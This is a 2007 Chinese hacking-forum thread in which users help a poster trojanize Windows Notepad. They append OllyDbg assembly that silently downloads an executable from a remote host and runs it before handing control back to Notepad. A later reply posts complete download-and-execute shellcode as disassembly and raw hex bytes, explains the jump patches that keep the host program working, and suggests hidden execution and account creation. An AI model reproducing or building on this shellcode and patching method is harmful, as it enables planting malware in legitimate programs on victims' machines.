你能不能把过程录下来?? [quote]引用第30楼黑菜于2007-07-22 15:48发表的 :
0100874B 68 DD8F000>push NOTEPAD.01008FDD ; ASCII "URLMON.dll"
01008750 E8 47B8877>call kernel32.LoadLibraryA
这两句后,在OllyDbg中怎么才能获取eax的返回值供GetProcAddress使用?
.......[/quote]
这两句后,在OllyDbg中怎么才能获取eax的返回值供GetProcAddress使用?
你这句话是错误的。。应该是在OllyDbg中怎么才能获取LoadLibraryA调用后的返回值供GetProcAddress使用
告诉你,任何一个api函数的的返回值都保存在eax里...
你很多基础都不明白。。。郁闷。。。 invoke GetProcAddress,eax,addr szDownloadToFile动态获得URLDownloadToFileA的地址
这句不明白怎么搞。。。到底怎么个动态获得法???
如果你在编译的时候包含urlmon.lib库,叫做静态获取。。
如果你用LoadLibraryA加载,然后GetProcAddress获取地址,接着 call eax 调用,就叫做动态获取 [quote]引用第31楼黑菜于2007-07-22 15:52发表的 :
你能不能把过程录下来??[/quote]
不能,因为这个是你需要,苦力活你自己做。。 能不能直接把做好的NOTEPAD.exe丢给我算了。
我基础真的不好,拼凑拼凑学的。让你好失望吧 [quote]引用第35楼黑菜于2007-07-22 17:02发表的 :
能不能直接把做好的NOTEPAD.exe丢给我算了。
我基础真的不好,拼凑拼凑学的。让你好失望吧[/quote]
........................给你,你覆盖windows目录下的记事本也没用,windows会自动恢复的........ [quote]引用第36楼asm于2007-07-22 17:04发表的 :
........................给你,你覆盖windows目录下的记事本也没用,windows会自动恢复的........[/quote]
这没事,我就学习参考下也好!!
麻烦你上传个成品给我吧 [s:270] 木时间耶 再次配服一下~~
lz实在不在的话可以找下载者看看呀。。
那个512字节下载者估计最直接 LZ的的意思是把下载代码转换成汇编代码?然后插入到*.txt中,是不? [s:265] [quote]引用第40楼naxiaozi于2007-07-23 01:34发表的 :
LZ的的意思是把下载代码转换成汇编代码?然后插入到*.txt中,是不? [s:265][/quote]
LZ的的意思是把下载代码转换成汇编代码?
正是!!把代码转换成汇编代码,写在NOTEPAD.exe的未部,就是OD里得用汇编代码,我不会写! 01008747 00 db 00
01008748 . 68 74 74 7>ascii "http://heicai.vi"
01008758 . 63 70 2E 6>ascii "cp.net/m.exe",0
01008765 00 db 00
01008766 . 63 3A 5C 5>ascii "c:\\m.exe",0
01008770 00 db 00
01008771 . 6F 70 65 6>ascii "open",0
01008776 00 db 00
01008777 60 pushad [color=#0000FF] 原来代码入口第一行的PUSH70 改为JMP 01008777跳过来的[/color]
01008778 6A 00 push 0
0100877A 68 6687000>push NOTEPAD.01008766 ; ASCII "c:\\m.exe"
0100877F 68 4887000>push NOTEPAD.01008748 ; ASCII "http://heicai.vicp.net/m.exe"
01008784 6A 00 push 0
01008786 E8 E429CB7>call urlmon.URLDownloadToFileA
0100878B 61 popad
0100878C 60 pushad
0100878D 6A 05 push 5
0100878F 6A 00 push 0
01008791 6A 00 push 0
01008793 68 6687000>push NOTEPAD.01008766 ; ASCII "c:\\m.exe"
01008798 68 7187000>push NOTEPAD.01008771 ; ASCII "open"
0100879D 6A 00 push 0
0100879F E8 1C87607>call SHELL32.ShellExecuteA
010087A4 61 popad
010087A5 C3 retn [color=#0000FF]<——这里retn是否要,犹豫中,去掉经测试也不行。[/color]
010087A6 6A 70 push 70 [color=#0000FF]原代码入口EIP的第一行[/color]
010087A8 68 9818000>push NOTEPAD.01001898 [color=#0000FF]原代码入口EIP的第二行[/color]
010087AD ^ E9 F2EBFFF>jmp NOTEPAD.010073A4 [color=#0000FF]跳回原代码入口第三行位置[/color]
010087B2 00 db 00
010087B3 00 db 00
[color=#FF0000]今天又试了一遍,URLDownloadToFileA这个函数的问题是解决了!原来只要用LordPE在导入表里添加这个API函数,那么汇编就可以直接调用了!
现在不知道问题出在哪了,下载与执行的功能还是没能成功。 请ASM与各位高手都帮忙再看看[/color] 这是孟兄的一篇文章,应该对楼主有很大帮助吧.
[url]http://forum.eviloctal.com/read-htm-tid-8133.html[/url] [quote]引用第42楼achillis于2007-07-27 21:31发表的 :
这是孟兄的一篇文章,应该对楼主有很大帮助吧.
[url]http://forum.eviloctal.com/read-htm-tid-8133.html[/url][/quote]
我看过此文,也看了另一位作者对它的后续两篇文章。所以才能模仿着做到这地步。可是问题还是没有成功!不知道错在哪 运行马也添加帐号也好
不要用shellexecute
用winexec
就两个参数
push 0
push xx.exe
call winexec
隐藏运行嘛
urldownloadfile
似乎是立即返回吧
中间加个sleep试试
dll文件的话要注意重定位 shellexecute 没问题的
downloadtofilea函数估计下了sleep也没用, 因为根本没下载下来。
dll重定位因为如何做? 你所说的dll重定位是不是可以这么理解:就是动态加载dll(用LoadLibrary),然后动态获取你想使用的函数的地址,再调用?
如果是这样的话,建议你找几个shellcode的代码看一下,里面这些东西用的比较多.
看看shellcode代码能学到很多东西,我是深有体会. [quote]引用第46楼achillis于2007-07-29 17:29发表的 :
你所说的dll重定位是不是可以这么理解:就是动态加载dll(用LoadLibrary),然后动态获取你想使用的函数的地址,再调用?
如果是这样的话,建议你找几个shellcode的代码看一下,里面这些东西用的比较多.
看看shellcode代码能学到很多东西,我是深有体会.[/quote]
你所说的是动态获取函数地址
dll重定位是
比如 你用winexec函数时是这样写
push 0
push 0
call dwrod ptr [0040xxxxx]
可是当dll载入时基址变了
你调用的却还是0040xxxx
不知道说清楚了没有。。。
lz做这个的时候先拿exe试试
另外听说urldownload...这个函数本来就有问题 [quote]引用第46楼achillis于2007-07-29 17:29发表的 :
你所说的dll重定位是不是可以这么理解:就是动态加载dll(用LoadLibrary),然后动态获取你想使用的函数的地址,再调用?
如果是这样的话,建议你找几个shellcode的代码看一下,里面这些东西用的比较多.
看看shellcode代码能学到很多东西,我是深有体会.[/quote]
我用LordPE把那个dll和对应的函数添加进导入表了,应该不用LoadLibrary了吧? 我随便从网上抓了个exp,提取个down&winexec的shellcode:
0040F000 > /E9 A3000000 jmp 0040F0A8
0040F005 |5F pop edi
0040F006 |64:A1 30000000 mov eax, fs:[30]
0040F00C |8B40 0C mov eax, [eax+C]
0040F00F |8B70 1C mov esi, [eax+1C]
0040F012 |AD lods dword ptr [esi]
0040F013 |8B68 08 mov ebp, [eax+8]
0040F016 |8BF7 mov esi, edi
0040F018 |6A 04 push 4
0040F01A |59 pop ecx
0040F01B |E8 43000000 call 0040F063
0040F020 ^|E2 F9 loopd short 0040F01B
0040F022 |68 6F6E0000 push 6E6F
0040F027 |68 75726C6D push 6D6C7275
0040F02C |54 push esp
0040F02D |FF16 call [esi]
0040F02F |95 xchg eax, ebp
0040F030 |E8 2E000000 call 0040F063
0040F035 |83EC 20 sub esp, 20
0040F038 |8BDC mov ebx, esp
0040F03A |6A 20 push 20
0040F03C |53 push ebx
0040F03D |FF56 04 call [esi+4]
0040F040 |C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C
0040F047 |C74403 04 78650>mov dword ptr [ebx+eax+4], 6578
0040F04F |33C0 xor eax, eax
0040F051 |50 push eax
0040F052 |50 push eax
0040F053 |53 push ebx
0040F054 |57 push edi
0040F055 |50 push eax
0040F056 |FF56 10 call [esi+10]
0040F059 |8BDC mov ebx, esp
0040F05B |50 push eax
0040F05C |53 push ebx
0040F05D |FF56 08 call [esi+8]
0040F060 |FF56 0C call [esi+C]
0040F063 |51 push ecx
0040F064 |56 push esi
0040F065 |8B75 3C mov esi, [ebp+3C]
0040F068 |8B742E 78 mov esi, [esi+ebp+78]
0040F06C |03F5 add esi, ebp
0040F06E |56 push esi
0040F06F |8B76 20 mov esi, [esi+20]
0040F072 |03F5 add esi, ebp
0040F074 |33C9 xor ecx, ecx
0040F076 |49 dec ecx
0040F077 |41 inc ecx
0040F078 |AD lods dword ptr [esi]
0040F079 |03C5 add eax, ebp
0040F07B |33DB xor ebx, ebx
0040F07D |0FBE10 movsx edx, byte ptr [eax]
0040F080 |3AD6 cmp dl, dh
0040F082 |74 08 je short 0040F08C
0040F084 |C1CB 0D ror ebx, 0D
0040F087 |03DA add ebx, edx
0040F089 |40 inc eax
0040F08A ^|EB F1 jmp short 0040F07D
0040F08C |3B1F cmp ebx, [edi]
0040F08E ^|75 E7 jnz short 0040F077
0040F090 |5E pop esi
0040F091 |8B5E 24 mov ebx, [esi+24]
0040F094 |03DD add ebx, ebp
0040F096 |66:8B0C4B mov cx, [ebx+ecx*2]
0040F09A |8B5E 1C mov ebx, [esi+1C]
0040F09D |03DD add ebx, ebp
0040F09F |8B048B mov eax, [ebx+ecx*4]
0040F0A2 |03C5 add eax, ebp
0040F0A4 |AB stos dword ptr es:[edi]
0040F0A5 |5E pop esi
0040F0A6 |59 pop ecx
0040F0A7 |C3 retn
0040F0A8 \E8 58FFFFFF call 0040F005
0040F0AD 8E4E 0E mov cs, [esi+E] ; 不允许段 CS
0040F0B0 EC in al, dx
0040F0B1 C179 E5 B8 sar dword ptr [ecx-1B], 0B8
0040F0B5 98 cwde
0040F0B6 FE8A 0EEFCEE0 dec byte ptr [edx+E0CEEF0E]
0040F0BC 60 pushad
0040F0BD 36:1A2F sbb ch, ss:[edi]
0040F0C0 70 68 jo short 0040F12A
0040F0C2 74 74 je short 0040F138
0040F0C4 70 3A jo short 0040F100
0040F0C6 2F das
0040F0C7 2F das
0040F0C8 3132 xor [edx], esi
0040F0CA 37 aaa
0040F0CB 2E:302E xor cs:[esi], ch
0040F0CE 302E xor [esi], ch
0040F0D0 312F xor [edi], ebp
0040F0D2 78 7A js short 0040F14E
0040F0D4 2E: prefix cs:
0040F0D5 65:78 65 js short 0040F13D
0040F0D8 0000 add [eax], al
二进制:
E9 A3 00 00 00 5F 64 A1 30 00 00 00 8B 40 0C 8B 70 1C AD 8B 68 08 8B F7 6A 04 59 E8 43 00 00 00
E2 F9 68 6F 6E 00 00 68 75 72 6C 6D 54 FF 16 95 E8 2E 00 00 00 83 EC 20 8B DC 6A 20 53 FF 56 04
C7 04 03 5C 61 2E 65 C7 44 03 04 78 65 00 00 33 C0 50 50 53 57 50 FF 56 10 8B DC 50 53 FF 56 08
FF 56 0C 51 56 8B 75 3C 8B 74 2E 78 03 F5 56 8B 76 20 03 F5 33 C9 49 41 AD 03 C5 33 DB 0F BE 10
3A D6 74 08 C1 CB 0D 03 DA 40 EB F1 3B 1F 75 E7 5E 8B 5E 24 03 DD 66 8B 0C 4B 8B 5E 1C 03 DD 8B
04 8B 03 C5 AB 5E 59 C3 E8 58 FF FF FF 8E 4E 0E EC C1 79 E5 B8 98 FE 8A 0E EF CE E0 60 36 1A 2F
70 68 74 74 70 3A 2F 2F 31 32 37 2E 30 2E 30 2E 31 2F 78 7A 2E 65 78 65 00 00
下载url:[url]http://127.0.0.1/xz.exe[/url]
经过测试是可以的,但是只能下载运行也可以,不能运行宿主.....
分析了一下,这个shellcode代码比较紧凑,只能在0040F060处跳回原入口,而能利用的只有3个字节,要知道一个长jmp要5个字节,只好跳两次,把0040F060处的call [esi+C]改为 jmp 0040F0DA,只用两个字节,再在0040F0DA处跳回原入口就行,这样宿主就可以运行..可能代码较长,若db 00不够,可以加个区段,付上程序地址:[url]http://aqzj.68ab.com/TFtp32.rar[/url],至于如何修改url,我也是时候闭嘴了...下载的马在system32\a.exe......希望帮上忙
页:
[1]
2